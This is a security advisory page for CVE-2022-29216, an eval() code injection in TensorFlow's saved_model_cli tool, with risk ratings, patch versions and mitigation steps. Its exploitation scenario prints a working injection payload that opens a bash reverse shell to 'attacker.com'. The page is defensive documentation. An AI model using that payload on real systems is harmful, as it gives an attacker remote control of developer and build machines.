CVE-2022-29216: TensorFlow CLI: eval() injection enables reverse shell
HIGH PoC AVAILABLE CISA: ATTENDTensorFlow's saved_model_cli tool passed user-supplied arguments directly to eval() without sanitization, enabling local code execution and reverse shell access. The attack requires local access and user interaction with the CLI, limiting blast radius to developer workstations and MLOps pipelines. Patch immediately to TensorFlow 2.9.0, 2.8.1, 2.7.2, or 2.6.4 — any ML engineer running older TF versions in a shared build environment is exposed.
What is the risk?
High severity (CVSS 7.8) but practical risk is bounded by the local attack vector. The primary exposure is in shared ML development environments, CI/CD pipelines, and MLOps tooling where saved_model_cli is invoked with user-controlled arguments. Containerized training jobs that accept external model paths and run saved_model_cli for validation are the highest-risk scenario. Not in CISA KEV, no confirmed active exploitation, but the technique (eval injection) is trivial to execute once local access is achieved.
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| TensorFlow | pip | — | No patch |
Do you use TensorFlow? You're affected.
How severe is it?
What is the attack surface?
What should I do?
5 steps-
Upgrade to TensorFlow 2.9.0, 2.8.1, 2.7.2, or 2.6.4 — the fix removes safe=False from the eval call entirely.
-
Audit CI/CD pipelines and MLOps scripts for saved_model_cli invocations that accept external or user-supplied arguments.
-
In the interim, avoid passing untrusted input as tensor values to saved_model_cli.
-
Enforce least-privilege on ML build agents — containerized pipelines should not have network egress that would enable a reverse shell to call home.
-
Review any wrapper scripts that invoke saved_model_cli with model artifacts from external sources (e.g., model registries, S3 buckets).
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2022-29216?
TensorFlow's saved_model_cli tool passed user-supplied arguments directly to eval() without sanitization, enabling local code execution and reverse shell access. The attack requires local access and user interaction with the CLI, limiting blast radius to developer workstations and MLOps pipelines. Patch immediately to TensorFlow 2.9.0, 2.8.1, 2.7.2, or 2.6.4 — any ML engineer running older TF versions in a shared build environment is exposed.
Is CVE-2022-29216 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2022-29216, increasing the risk of exploitation.
How to fix CVE-2022-29216?
1. Upgrade to TensorFlow 2.9.0, 2.8.1, 2.7.2, or 2.6.4 — the fix removes safe=False from the eval call entirely. 2. Audit CI/CD pipelines and MLOps scripts for saved_model_cli invocations that accept external or user-supplied arguments. 3. In the interim, avoid passing untrusted input as tensor values to saved_model_cli. 4. Enforce least-privilege on ML build agents — containerized pipelines should not have network egress that would enable a reverse shell to call home. 5. Review any wrapper scripts that invoke saved_model_cli with model artifacts from external sources (e.g., model registries, S3 buckets).
What systems are affected by CVE-2022-29216?
This vulnerability affects the following AI/ML architecture patterns: training pipelines, model serving, MLOps tooling, CI/CD for ML.
What is the CVSS score for CVE-2022-29216?
CVE-2022-29216 has a CVSS v3.1 base score of 7.8 (HIGH). The EPSS exploitation probability is 0.54%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.001 AI Software AML.T0011 User Execution AML.T0050 Command and Scripting Interpreter AML.T0072 Reverse Shell Compliance Controls Affected
What are the technical details?
Original Advisory
TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, TensorFlow's `saved_model_cli` tool is vulnerable to a code injection. This can be used to open a reverse shell. This code path was maintained for compatibility reasons as the maintainers had several test cases where numpy expressions were used as arguments. However, given that the tool is always run manually, the impact of this is still not severe. The maintainers have now removed the `safe=False` argument, so all parsing is done without calling `eval`. The patch is available in versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4.
Exploitation Scenario
An adversary with local access to a developer workstation or CI/CD build agent crafts a malicious numpy expression as a tensor input argument to saved_model_cli (e.g., --input_exprs 'input=__import__("os").system("bash -i >& /dev/tcp/attacker.com/4444 0>&1")'). When the engineer or automated pipeline runs model validation with this argument, the eval() call executes the injected code, opening a reverse shell back to the attacker. In a shared MLOps environment, this could allow lateral movement from a compromised model artifact repository into the build infrastructure.
Weaknesses (CWE)
CWE-94 — Improper Control of Generation of Code ('Code Injection'): The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
- [Architecture and Design] Refactor your program so that you do not have to dynamically generate code.
- [Architecture and Design] Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H References
- github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/tools/saved_model_cli.py 3rd Party
- github.com/tensorflow/tensorflow/commit/8b202f08d52e8206af2bdb2112a62fafbc546ec7 Patch 3rd Party
- github.com/tensorflow/tensorflow/commit/c5da7af048611aa29e9382371f0aed5018516cac Patch 3rd Party
- github.com/tensorflow/tensorflow/releases/tag/v2.6.4 Release 3rd Party
- github.com/tensorflow/tensorflow/releases/tag/v2.7.2 Release 3rd Party
- github.com/tensorflow/tensorflow/releases/tag/v2.8.1 Release 3rd Party
- github.com/tensorflow/tensorflow/releases/tag/v2.9.0 Release 3rd Party
- github.com/tensorflow/tensorflow/security/advisories/GHSA-75c9-jrh4-79mc Exploit Patch 3rd Party
- github.com/YoussefJeridi/vulTenserflow Exploit
- github.com/YoussefJeridi/vulTensorflow Exploit
Timeline
Related Vulnerabilities
CVE-2020-15196 9.9 TensorFlow: heap OOB read in sparse/ragged count ops
Same package: tensorflow CVE-2020-15205 9.8 TensorFlow: heap overflow in StringNGrams, ASLR bypass
Same package: tensorflow CVE-2020-15208 9.8 TFLite: OOB read/write via tensor dimension mismatch
Same package: tensorflow CVE-2019-16778 9.8 TensorFlow: heap overflow in UnsortedSegmentSum op
Same package: tensorflow CVE-2022-23587 9.8 TensorFlow: integer overflow in Grappler enables RCE
Same package: tensorflow